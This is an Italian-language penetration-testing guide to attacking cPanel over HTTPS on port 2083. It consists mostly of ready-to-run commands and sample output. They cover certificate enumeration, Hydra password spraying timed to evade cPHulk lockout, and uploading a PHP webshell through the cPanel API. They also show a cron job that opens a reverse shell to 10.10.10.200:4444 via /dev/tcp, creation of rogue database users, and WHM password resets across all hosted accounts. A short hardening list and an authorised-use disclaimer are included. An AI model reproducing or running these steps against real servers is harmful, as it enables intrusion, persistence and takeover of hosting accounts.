Porta 2083 cPanel SSL: Pentest, API e Login HTTPS

Porta 2083 cPanel SSL nel pentest: login HTTPS, TLS enumeration, API cPanel, upload file, automazione post-auth e controlli cPHulk.
- Pubblicato il 2026-04-13
- Tempo di lettura: 4 min
Executive Summary — La porta 2083 è la versione SSL/TLS di cPanel — stessa interfaccia della porta 2082, ma con crittografia del traffico. È la porta cPanel usata nella pratica moderna: la 2082 (HTTP) redirige quasi sempre alla 2083. Le tecniche di exploitation post-authentication sono identiche alla 2082 (webshell, cron, terminal, backup), ma la 2083 aggiunge vettori specifici: TLS enumeration del certificato (rivela hostname, dominio, email admin), API cPanel/WHM per automazione degli attacchi e differenze nel brute force (cPHulk, rate limiting HTTPS).
Cos’è la porta 2083 (cPanel HTTPS)
- Porta 2083 = cPanel su HTTPS — pannello utente standard
- Stesse tecniche di exploitation della porta 2082 — cambia solo il trasporto (TLS)
- Il certificato TLS può rivelare informazioni utili (hostname, dominio, email)
- Le API cPanel (UAPI/API2) permettono di automatizzare la post-exploitation senza interfaccia grafica
Differenze con la Porta 2082 #
| Aspetto | Porta 2082 | Porta 2083 |
|---|---|---|
| Protocollo | HTTP (chiaro) | HTTPS (TLS) |
| Intercettazione | Credenziali sniffabili | Crittografato |
| Redirect | Spesso redirige a 2083 | Destinazione finale |
| Certificato | N/A | Rivela info nel Subject/SAN |
| API | Funziona su entrambe | Preferita per API calls |
| Brute force | Overhead basso | TLS handshake rallenta |
Per le tecniche di exploitation complete post-authentication (webshell, cron, phpMyAdmin, backup, terminal), vedi la guida porta 2082 — sono identiche.
1. Enumerazione #
Nmap con TLS #
nmap -sV -p 2083 --script=ssl-cert,ssl-enum-ciphers,http-title 10.10.10.40PORT STATE SERVICE VERSION
2083/tcp open ssl/http cPanel httpd
| ssl-cert: Subject: commonName=server.corp-hosting.com
| Subject Alternative Name: DNS:server.corp-hosting.com, DNS:*.corp-hosting.com
| Issuer: commonName=cPanel, Inc. Certification Authority
| Not valid before: 2025-06-01
| Not valid after: 2026-06-01
| Serial: 1234567890
| ssl-enum-ciphers:
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
| TLSv1.3:
| ciphers:
| TLS_AES_256_GCM_SHA384 (ecdh_x25519) - A
| http-title: cPanel LoginCertificato TLS — Intelligence #
echo | openssl s_client -connect 10.10.10.40:2083 2>/dev/null | openssl x509 -noout -textSubject: CN = server.corp-hosting.com
Subject Alternative Name:
DNS:server.corp-hosting.com
DNS:mail.corp-hosting.com
DNS:cpanel.corp-hosting.com
DNS:webdisk.corp-hosting.com
DNS:webmail.corp-hosting.com
DNS:cpcalendars.corp-hosting.com
DNS:cpcontacts.corp-hosting.com
Issuer: CN = cPanel, Inc. Certification AuthorityCosa ottieni dal certificato:
- Hostname del server:
server.corp-hosting.com - Domini hostati: i SAN (Subject Alternative Names) rivelano i servizi configurati
- Provider: cPanel genera certificati automatici — conferma che è cPanel
- Email admin: a volte presente nel campo emailAddress del Subject
I domini trovati espandono la superficie di attacco. Cerca ognuno per ulteriori vettori: web app su corp-hosting.com, webmail su mail.corp-hosting.com.
Versione cPanel #
curl -sk https://10.10.10.40:2083/login/ | grep -oP 'v[\d.]+'# Oppure dall'header
curl -sk https://10.10.10.40:2083/ -I | grep ServerServer: cpsrvd/11.109.0.1811.109 → cerca CVE per questa versione su Exploit-DB.
2. Credential Attack sulla 2083 #
Login via curl (HTTPS) #
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
-d "user=corpsite&pass=Hosting2025!" \
-c cookies.txtRisposta successo:
{"status":1,"redirect":"/frontend/jupiter/index.html","security_token":"/cpsessABC123"}Risposta fallimento:
{"status":0,"redirect":"/login/?login_only=1","errors":["The login is invalid."]}Il security_token (/cpsessABC123) è il session token — serve per tutte le chiamate API successive.
Brute force con rate limiting awareness #
cPHulk (il sistema anti-brute force di cPanel) blocca dopo 5-10 tentativi. Strategie:
# Password spray: poche password, molti utenti
hydra -L users.txt -p 'Hosting2025!' \
10.10.10.40 https-post-form \
"/login/?login_only=1:user=^USER^&pass=^PASS^:The login is invalid" -t 1 -W 30Il flag -t 1 usa un solo thread e -W 30 aspetta 30 secondi tra tentativi — evita il blocco.
Session Hijacking (se hai sniffato la 2082) #
Se hai intercettato un cookie dalla porta 2082 (HTTP in chiaro), puoi usarlo sulla 2083:
curl -sk https://10.10.10.40:2083/cpsessABC123/frontend/jupiter/index.html \
-b "cpsession=TOKEN_INTERCETTATO"3. cPanel API — Automazione Post-Auth #
Una volta autenticato, puoi usare le API cPanel per automatizzare tutto senza interfaccia grafica. Più veloce, scriptabile, meno tracce nei log web.
Autenticazione API #
# Con username e password
curl -sk -u "corpsite:Hosting2025!" https://10.10.10.40:2083/execute/Email/list_pops# Con session token (ottenuto dal login)
curl -sk https://10.10.10.40:2083/cpsessABC123/execute/Email/list_pops \
-b cookies.txtAPI — Elenco file (File Manager) #
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Fileman/list_files?dir=/public_html"API — Upload file (webshell) #
# Crea il webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/cmd.php
# Upload via API
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Fileman/upload_files" \
-F "dir=/public_html" \
-F "file-1=@/tmp/cmd.php"API — Crea database e utente MySQL #
# Crea database
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Mysql/create_database?name=corpsite_hack"
# Crea utente MySQL
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Mysql/create_user?name=corpsite_hacker&password=HackerP@ss!"API — Crea cron job (persistence) #
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Cron/add_line" \
-d "command=bash -c 'bash -i >%26 /dev/tcp/10.10.10.200/4444 0>%261'" \
-d "minute=*&hour=*&day=*&month=*&weekday=*"API — Lista email #
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/Email/list_pops"{
"data": [
{"email": "admin@corp-hosting.com", "login": "admin@corp-hosting.com"},
{"email": "info@corp-hosting.com", "login": "info@corp-hosting.com"}
]
}API — DNS zone #
curl -sk -u "corpsite:Hosting2025!" \
"https://10.10.10.40:2083/execute/DNS/parse_zone?zone=corp-hosting.com"Enumera tutti i record DNS del dominio — intelligence per lateral movement e ulteriori target.
4. WHM API (porta 2087) — Se Hai Accesso Admin #
Se hai credenziali WHM (admin/reseller):
# Lista tutti gli account cPanel del server
curl -sk -u "root:RootP@ss!" \
"https://10.10.10.40:2087/json-api/listaccts"{
"acct": [
{"user": "corpsite", "domain": "corp-hosting.com", "ip": "10.10.10.40"},
{"user": "shopsite", "domain": "shop-example.com", "ip": "10.10.10.40"},
{"user": "bloguser", "domain": "my-blog.net", "ip": "10.10.10.40"}
]
}Tutti gli account hostati. Per ognuno puoi:
- Resettare la password
- Accedere al File Manager
- Leggere i database
# Reset password di un account cPanel (WHM)
curl -sk -u "root:RootP@ss!" \
"https://10.10.10.40:2087/json-api/passwd?user=corpsite&password=NewP@ss123!"5. Hardening #
- Disabilita porta 2082 (HTTP) — forza solo HTTPS sulla 2083
- cPHulk attivo con soglie basse (3-5 tentativi)
- Two-Factor Authentication su tutti gli account cPanel
- IP whitelist per l’accesso al pannello
- TLS 1.2+ only — disabilita TLS 1.0/1.1
- CSF Firewall configurato per bloccare scan e brute force
- Password policy forte per tutti gli account
6. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap TLS | nmap -sV -p 2083 --script=ssl-cert target |
| Certificato | openssl s_client -connect target:2083 |
| Login test | curl -sk https://target:2083/login/?login_only=1 -d "user=X&pass=Y" |
| API file list | curl -sk -u user:pass https://target:2083/execute/Fileman/list_files?dir=/public_html |
| API upload | curl -sk -u user:pass https://target:2083/execute/Fileman/upload_files -F "file-1=@shell.php" |
| API cron | curl -sk -u user:pass https://target:2083/execute/Cron/add_line -d "command=..." |
| API email | curl -sk -u user:pass https://target:2083/execute/Email/list_pops |
| WHM list accounts | curl -sk -u root:pass https://target:2087/json-api/listaccts |
| Versione | curl -sk https://target:2083/ -I | grep Server |
Riferimento: cPanel API documentation, cPanel Security Advisories, searchsploit. Uso esclusivo in ambienti autorizzati.







